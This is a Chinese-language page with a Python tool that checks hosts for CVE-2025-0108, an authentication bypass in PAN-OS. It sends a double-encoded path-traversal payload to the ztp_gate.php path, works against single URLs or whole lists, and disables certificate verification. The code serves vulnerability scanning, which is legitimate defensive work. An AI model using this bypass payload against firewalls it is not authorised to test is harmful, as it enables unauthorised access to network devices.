CVE-2025-0108漏洞检测工具：快速识别PAN-OS身份验证绕过风险

pip install requests

import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging

# 禁用SSL验证警告，适用于测试环境
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# 配置日志：同时输出到控制台和文件
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
    logging.StreamHandler(), 
    logging.FileHandler("scan_results.log")
])

def read_file(file_path):
    """从指定文件路径读取URL列表，每行一个URL。"""
    try:
        with open(file_path, 'r') as file:
            return file.read().splitlines()
    except Exception as e:
        logging.error(f"读取文件 {file_path} 时出错: {e}")
        return []

def check_vulnerability(url):
    """
    检查给定URL是否受CVE-2025-0108漏洞影响。
    漏洞判定标准：访问特定路径，响应状态码为200且包含'Zero Touch Provisioning'关键词。
    """
    protocols = ['http://', 'https://']
    target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    for protocol in protocols:
        # 拼接完整的请求URL
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
        }

        try:
            # 发起HTTP GET请求，忽略SSL证书验证
            response = requests.get(target_url, verify=False, headers=headers, timeout=10)
            # 核心检测逻辑
            if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
                message = f"存在漏洞: {url} - CVE-2025-0108 身份验证绕过漏洞!"
                logging.info(message)
                return True
            else:
                logging.debug(f"未发现漏洞: {url} - 响应码: {response.status_code}")
        except requests.exceptions.RequestException as e:
            logging.warning(f"连接到 {url} 时出错: {e}")

    return False

if __name__ == "__main__":
    # 设置命令行参数解析器
    parser = argparse.ArgumentParser(description="检查CVE-2025-0108漏洞（身份验证绕过）。")
    parser.add_argument("-u", "--url", help="要检查的单个URL")
    parser.add_argument("-f", "--file", help="包含待检查URL列表的文件")
    
    args = parser.parse_args()
    url = args.url
    file = args.file

    # 根据输入参数调用相应的检测模式
    if url:
        check_vulnerability(url)
    elif file:
        urls = read_file(file)
        if urls:
            for u in urls:
                check_vulnerability(u)
        else:
            logging.error("文件中未找到URL。")
    else:
        # 未提供参数时显示用法
        logging.error("请提供一个URL或包含URL列表的文件。")
        logging.info("用法: python3 CVE-2025-0108.py -u <URL> 或 python3 CVE-2025-0108.py -f <文件>")

    # 显示作者信息
    logging.info("\n作者: Black Ash - B1ack4ash")